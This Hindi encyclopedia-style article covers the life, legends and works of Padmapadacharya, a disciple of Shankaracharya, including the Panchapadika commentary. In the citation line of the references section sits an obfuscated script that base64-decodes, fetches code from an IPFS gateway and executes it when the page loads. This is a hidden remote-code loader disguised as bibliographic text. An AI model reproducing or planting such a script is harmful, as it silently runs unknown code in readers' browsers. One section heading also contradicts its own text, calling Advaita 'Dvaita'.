पद्मपादाचार्य

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पद्मपादाचार्य 8वीं शती ई. के लगभग आदि शंकराचार्य के चार प्रमुख शिष्यों में से एक थे। ये काश्यपगोत्रीय ऋग्वेदी ब्राह्मण तथा चोकदेश के निवासी थे। इनके माता-पिता अहोबल क्षेत्र में रहते थे। नरसिंह की कृपा से पद्मपाद का जन्म हुआ था। अपने पिता के समान ही ये भी नरसिंह के ही भक्त थे। नरसिंह की प्रेरणा से वे वेदविद्या के अध्ययनार्थ काशी गए। वहाँ पर वेदाध्यायन करते समय इनकी भेंट आदि शंकराचार्य से हुई थी। आचार्य श्री ने पद्मपाद की परीक्षा ली, और उसमें भली-भांति उत्तीर्ण हुआ देखकर उन्हें सन्न्यास की दीक्षा देकर उनका नाम 'पद्मपादाचार्य' रख दिया। आगे चलकर ये शंकराचार्य के निस्सीम भक्त बन गए।

नामकरण अनुश्रुति

इनके पद्मपाद नाम के बारे में एक रोचक आख्यायिका भी प्रसिद्ध है-

एक बार उन्हें शंकराचार्य जी की करुण पुकार सुनाई दी। पुकार सुनते ही पद्मपाद अपने गुरुदेव के पास पहुंचने के लिए उतावले हो उठे। मार्ग में अलकनंदा नदी थी। नदी पर पुल भी था, किन्तु व्यग्रतावश पुल से न जाते हुए, पद्मपाद सीधे नदी के पात्र में से ही गुरुदेव की ओर जाने लगे। नदी का जल स्तर ऊँचा था। परन्तु पद्मपाद की भक्ति के सामर्थ्य के आगे उनके हर पग के नीचे कमल पुष्प उत्पन्न होते गए और उन पुष्पों पर पैर रखते हुए उन्होंने सहज ही अलकनंदा को पार कर लिया। इस प्रकार से उनके पैरों के नीचे पद्मों की उत्पत्ति होने के कारण उनका नाम पद्मपाद पड़ा।

'पंचपदिका' ग्रन्थ की रचना

पद्मपादाचार्य सदैव शंकराचार्य जी के साथ भ्रमण किया करते थे। एक बार गुरुदेव की अनुज्ञा प्राप्त कर वे अकेले ही दक्षिण भारत की यात्रा पर निकले और कालहस्तीश्वर, शिवकांची, बल्लालेश, पुंडरीकपुर, शिवगंगा, रामेश्वर आदि तीर्थों की यात्रा कर वे अपने गांव लौटे। फिर वे अपने मामा के गांव जाकर रहे। इससे पूर्व वे ब्रह्मसूत्र भाष्य पर अपना ‘पंचपदिका’ नामक टीका ग्रन्थ लिख चुके थे। उनके मामा द्वैती थे। अपना भांजा विद्यासम्पन्न होकर ब्रह्मसूत्र भाष्य पर टीका ग्रन्थ लिख सका, यह देखकर मामा बड़े ही प्रसन्न हुए। किन्तु उन्होंने जब वह टीका ग्रन्थ पढ़ा, तो उन्हें विदित हुआ कि भांजे ने उनके द्वैतमत का खंडन करते हुए अद्वैतमत का प्रतिपादन किया है। इसके परिणामस्वरूप मामा जी को बड़ा बुरा लगा और वे मन ही मन पद्मपाद का द्वेष करने लगे।

मामा का द्वेष

पद्मपाद को मामा के द्वेष के बारे में जानकारी नहीं थी। अत: फिर से तीर्थयात्रा पर निकलते समय उन्होंने अपना टीका ग्रन्थ मामा के ही यहाँ पर रख छोड़ा। मामाजी, जो कि इस प्रकार के अवसर की ताक में ही थे, वे चाहते थे कि भांजे का टीका ग्रन्थ तो नष्ट हो, किन्तु तत्संबंधी दोषारोपण उन पर कोई भी न कर सके। इस उद्देश्य से उन्होंने स्वयं के घर को ही आग लगा दी। घर के साथ ही भांजे का टीका ग्रन्थ भी जल गया। तीर्थयात्रा से लौटने पर पद्मपाद को वह अशुभ घटना विदित हुई। मामाजी ने भी दु:ख का प्रदर्शन करते हुए नक्राश्रु बहाये। पद्मपादाचार्य को इस घटना से दु:ख तो हुआ, किन्तु वे हताश नहीं हुए। वे बोले-‘ग्रन्थ जल गया तो क्या हुआ, मेरी बुद्धि तो सुरक्षित है। मैं ग्रन्थ का पुनर्लेखन करूंगा।’

पुन: ग्रन्थ लेखन

तब पद्मपादाचार्य की बुद्धि को भी नष्ट करने के उद्देश्य से उनके मामा ने उन पर विष प्रयोग किया। विष मिश्रित अन्न भक्षण के कारण उनकी बुद्धि बेकार हो गई। तब पद्मपाद ने अपने गुरुदेव के पास जाकर वहीं पर रहने का निश्चय किया। उस समय शंकराचार्य केरल में थे। पद्मपाद ने वहां पहुँचकर उन्हें सारा वृत्तान्त निवेदन किया। आचार्य जी ने अपने शिष्य का सांत्वन किया और उसकी बुद्धि भी उसे पुन: प्राप्त करा दी। तब पद्मपाद ने अपना टीका ग्रन्थ एक बार फिर से लिखा।

द्वैतमत का प्रचार

पद्मपादाचार्य ने शंकराचार्य के अद्वैतमत का प्रभावपूर्ण प्रचार करने का महान् कार्य किया। वेदान्त के समान ही वे तंत्र शास्त्र के भी प्रकांड पंडित थे। उनके द्वारा लिखे गए ग्रन्थों में, प्रस्तुत 'पंचपादिका' नामक टीका ग्रन्थ ही प्रमुख है। शंकराचार्य जी के ब्रह्मसूत्र भाष्य पर लिखी गई, यह पहली ही टीका है। इसमें चतु:सूत्री का विस्तृत विवेचन किया गया है।

अन्य रचनाएँ

'पंचपदिका' टिका ग्रन्थ पर आगे चलकर अनेक महत्त्वपूर्ण विवरण ग्रन्थ लिखे गए। इसके अतिरिक्त 'विज्ञान दीपिका', 'विवरणटीका', 'पंचाक्षरीभाष्य', 'प्रपंचसार' तथा 'आत्मानात्मविवेक' जैसे अन्य कुछ ग्रन्थ भी पद्मपादाचार्य के नाम पर हैं।[1]


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टीका टिप्पणी और संदर्भ

भारतीय संस्कृति कोश, भाग-2 |प्रकाशक: यूनिवर्सिटी पब्लिकेशन, नई दिल्ली-110002 |संपादन: प्रोफ़ेसर देवेन्द्र मिश्र |पृष्ठ संख्या: 468 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

  1. सं.वा.को. (द्वितीय खण्ड), पृष्ठ 364

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